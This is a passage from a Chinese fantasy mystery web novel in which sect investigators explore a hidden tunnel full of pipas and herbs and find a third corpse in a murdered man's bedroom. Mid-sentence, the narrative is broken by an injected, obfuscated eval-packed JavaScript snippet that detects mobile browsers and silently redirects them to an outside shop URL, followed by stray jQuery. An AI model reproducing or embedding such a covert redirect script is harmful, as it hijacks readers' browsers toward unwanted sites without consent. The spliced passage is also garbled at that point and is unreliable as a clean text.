转眼间,四人的目光皆停在夜杀阁的二层。
本是黑如深渊的窟窿短短几个时辰内复原,解思弦可来了兴致。想起少时跟着爹爹行走江湖也有数年,什么妖邪作祟、机关弄人她没见过。
她转头丢下一句:“箭从右上角射来,想必机关在那儿。”
说着,她一手甩出收放自如的红绸,一眼便锁定斜上方的木匣,红绸将其一把扯下,重重砸在地上。
木匣落地最终只磕了一角,当几人再向二层看去时,那个大窟窿再一次悄无声息出现在他们眼前。
裴承砚不由自主地捡起那地上的木匣,在上面随便比划了个符文。
木匣之中恰好有一处存放箭身之地,想来是匣内有何机关,能在放箭的一瞬连带夜杀阁二层的地面发生变化。
符咒被贴到木匣上,整个木匣却纹丝不动。裴承砚道:“没有妖气,更无魔气,应是人为。”
解思弦紧盯着木匣匣身上的符咒,在无人注意的地方轻声一笑。裴家百年来独创的鉴妖咒,这下他在怎么否认自己是裴家的,而今就算是跳进黄河也洗不清了。
她假装什么都没看到一般,随后只是引导其余人看向窟窿。“既然窟窿已重现,下去看看吧。”
话说完,她先一步施展轻功跃上,直接坠进深黑的窟窿中。
魏玄目瞪口呆:“她就这么进去了?”
“不然呢?”罗怜玉在一旁接话,后一个侧身而过,下一刻也跳了进去。
心理素质强大就是好,都不用做什么准备。见裴承砚也已迅速上到二楼,他才回过神来:“裴承砚你等等我啊?!”
窟窿内一片黑漆漆,偶尔会有地下水流穿过几人耳边,漂泊于此地的尘埃与各类蚊虫成群,一次又一次干扰他们前进。
几乎每个人都是走几步就抬手挡一下这些小东西,这里应也是有好些年头了,脚下偶尔还有倾倒的木桶挡住去路。
解思弦在最前头,见一个木桶就用灵力扶起一个,毫不疲倦。
琵琶精控着灵光,尽量照清前路。
走在地下,偶尔会有尘网从上掉落,魏玄就成了那个被尘网逮住的大冤客。他噼啪几下拍落掉在肩上的尘网,面露嫌弃之色。
正当其余三人都以为会一直这样无止境的走下去时,解思弦脚步一顿。
水流声窸窸窣窣从耳边与脚下流过,她看着眼前的两条路,不禁停下。
就算是富贵人家的地下暗室,也能遇到话本中二选一的套路。
罗怜玉几步快速跟上少宗主,让手中的灵光照彻前方两条大路。她清了清嗓:“少宗主,这右边一路狭窄难行,不如就让我去?”
解思弦不免好奇地看向她,罗怜玉道:“我可是灵妖宗的精怪,能力不输另外两人,我去了还能欺瞒少宗主不成?”
她加重“灵妖宗”三个字,似无时无刻都在提醒她的少宗主,是自己人。
都这样说了,解思弦没有不让她去的理由。她两指并拢,拾取罗怜玉手中一部分的灵光:“快去快回。”
“是。”罗怜玉爽快应声,后整个人化作一团流萤,义无反顾奔进右边的黑洞。
等裴承砚和魏玄摸着黑赶到时,解思弦已经将左边一路路口处灭了的灯烛点上。
裴承砚手中举剑问道:“那个琵琶精呢?”
解思弦自然摆摆手:“我让她走的右路,所以我们走左路就行。”话落,她便带着灵火继续向前。
左路的尽头是一个类似洞窟的地方,人前脚刚入内,后脚绝对会被其中的琵琶吸引。
数十把看着有些年龄的琵琶就被随意挂在上空,地上整齐的放着各类药材。
裴承砚与魏玄在后头走的小心。
她开口感叹:“这么多琵琶?看来这谭家人对琵琶情有独钟呢。”
她在看上,而裴承砚则紧盯着下方。
“不仅是琵琶,谭家人还懂些药理。”裴承砚喃喃。
“六年前,江南曾爆发过一场瘟疫,一时间几乎所有人都染了头病。这几副药草我曾在六年前见过,混起来对头病有效,除了……”
裴承砚手指向最里侧的紫花。
“那个。”
听到“江南”二字的魏玄心中顿时翻起巨浪,他一拍裴承砚手肘,发出清脆如巴掌的声响。
“你我来前师父刚嘱咐过,你这就暴露了?”魏玄已经尽量压低声音了。
奈何她听力过人。解思弦意味深长地看着两人。
裴承砚对上她的视线,只是扬了扬唇:“怕是早就暴露了。”
从她在夜杀阁对他说的第一句话起。
……
也许是寝房内死过人的原因,就算有了烛火,还是掩盖不住毛骨悚然。
幸沧双咬紧下唇,行走在黑暗中。灵妖宗的人就是奇怪,一个不管在什么场合都要戴面具的统领,一个到哪都要紧护仵作箱的仵作,搞得好像有人要偷他东西一样。
她掐指一算,这灵妖宗少宗主和那两老鼠去夜杀阁都快一个时辰了,怕不是遇到什么岔子。
“诶,不是说好辰时前到大门迎候谭三公子吗?这卯时都过半了,你们少宗主还没消息,你们就不担心出事吗?”幸沧双神色鄙夷看向那两位。
只见那张狐狸嘴脸动了动:“灵妖宗宗规第一条,相信少宗主。”
幸沧双立刻驳道:“我又不是你们灵妖宗的,我为什么要相信?”
“自从你被捕到灵妖宗起,你就是了。”应千崇表面神情自若。
但话传到她的耳中,怎么听起来对方幸灾乐祸的。
“好啊,江湖处处是算计!”幸沧双长叹一口气:“不过你们灵妖宗的宗规怎如此奇怪,按你们灵妖宗的逻辑,灵妖宗宗规第一条为何不是无条件相信宗主,而是相信少宗主?”
她望向那张狐狸脸:“你莫不是瞎编的?”
“灵妖宗宗规第二条,相信应统领。”就在此时,本护着仵作箱静等的萧仵作开口。
幸沧双皱眉看着两人,她想是她错了。不是江湖处处算计,而是世间处处清奇。
“行行行,我不说了,我闭嘴。”她连连点头,后随地而坐。主人曾教她,不要与奇怪的人搭话,更不要招惹,不然会变得不幸。
应千崇也只是无奈地笑笑,没有再多说。
而今也就只有萧燕然还在全神贯注观察寝房的地板。他一挥手表示:“小妖你先让让,让我瞧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17744284|209206||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一眼。”
盘腿坐在地上的幸沧双疑惑,这地板有什么好瞧的:“怎么,我不说话了,坐都不行啊?”
萧燕然赶紧摇头:“不是这个意思,你瞧。”他给小妖比划了一下。
“这谭大公子的尸体被发现时是在寝房的门口,我瞧你身下那地板的颜色不太对劲,想着是血也不会飞溅如此之远,就想仔细看下。”
萧燕然收起不正经的样子,开始他的分析。听到缘由的幸沧双不禁瞪大双眼,她连忙站起,又满脸震惊看向地面。
不知怎的,鼻尖忽而就有了一股腥味。
她捂着嘴,几步跳到此地之外。
“你也别太后退,那儿也有血!”萧燕然见此还不忘提醒一嘴。
不敢说根本不敢说。幸沧双立刻拉回本能后退的步伐,这下可好,她都不敢动了。
想来她也好些年没看过尸体了,想当年她也曾身处过一片血海,当年的她见血直接晕了,在尸骸中躺了一日之久才醒过来。
“应千崇,快给我打个光。”萧燕然也是如愿以偿看清那片可疑之地,还不忘招呼应千崇一声。
幸沧双看着应千崇掐了张火符,从她面前走过。火光照亮那片深棕色地板。
萧燕然不语,只是蹙紧了眉头。好像一瞬间,腥味又大了些。
“这里可有问题?”应千崇问。
萧燕然两手一拍:“这地面颜色都变了,怎会没有问题?依我看,这血已经在这凝固有三四日了。”
“三四日?”本捂着嘴的幸沧双立刻不淡定,她脱口而出。
他们也是昨日才来这谭府,谭家大公子也是昨日才死,这三四日前的血又是从何而来?
首先排除谭大公子,其次排除井下的那具男尸。毕竟是富贵人家,谭大公子的寝房不小,谭大公子的尸身离这片血地至少还有一段距离,更何况这血地凝固程度来看,这血至少凝固有三四日;而那琵琶手好歹也是先被勒死,再被投井,致命处还不至于崩血。
所以两者都不可能。
想到此处,萧燕然顺着这片血迹向上看去,映入眼帘的无他,只有一紧闭的柜子。
他脑中产出一坏点子:“应千崇,是时候展现一下灵妖宗统领的威力了。”
萧燕然手摆出“请”的姿势,示意他来打开柜子。
谁都无法看出面具之下应千崇的神情,只见他又从哪个不知道的地方变出两张符,纸符相继飞进深色木柜的缝隙中。
没一会儿,纸符从柜中飞出,柜门也随之打开。
柜中隐隐约约有个模糊的人影。萧燕然与站在一旁的小妖都下意识眯了眯眼。
应千崇控制着火符飞到柜前,人影渐显。
这也印证了萧燕然心中的猜想,这府内的第三具尸体。
女尸脖颈上的血迹早就干透,毫无血色地躺在里头。
“轰——”一声剧烈的声响从几人身后同时传出。
幸沧双站在三人最后头,心中一激灵。她身后不就是一个书柜吗?怎么这么大动静。
她缓缓转头看去,又是三个人影,她确定她没看错!
她猛地转回头,真是见鬼了,谁快点帮她把眼睛丢掉啊啊啊!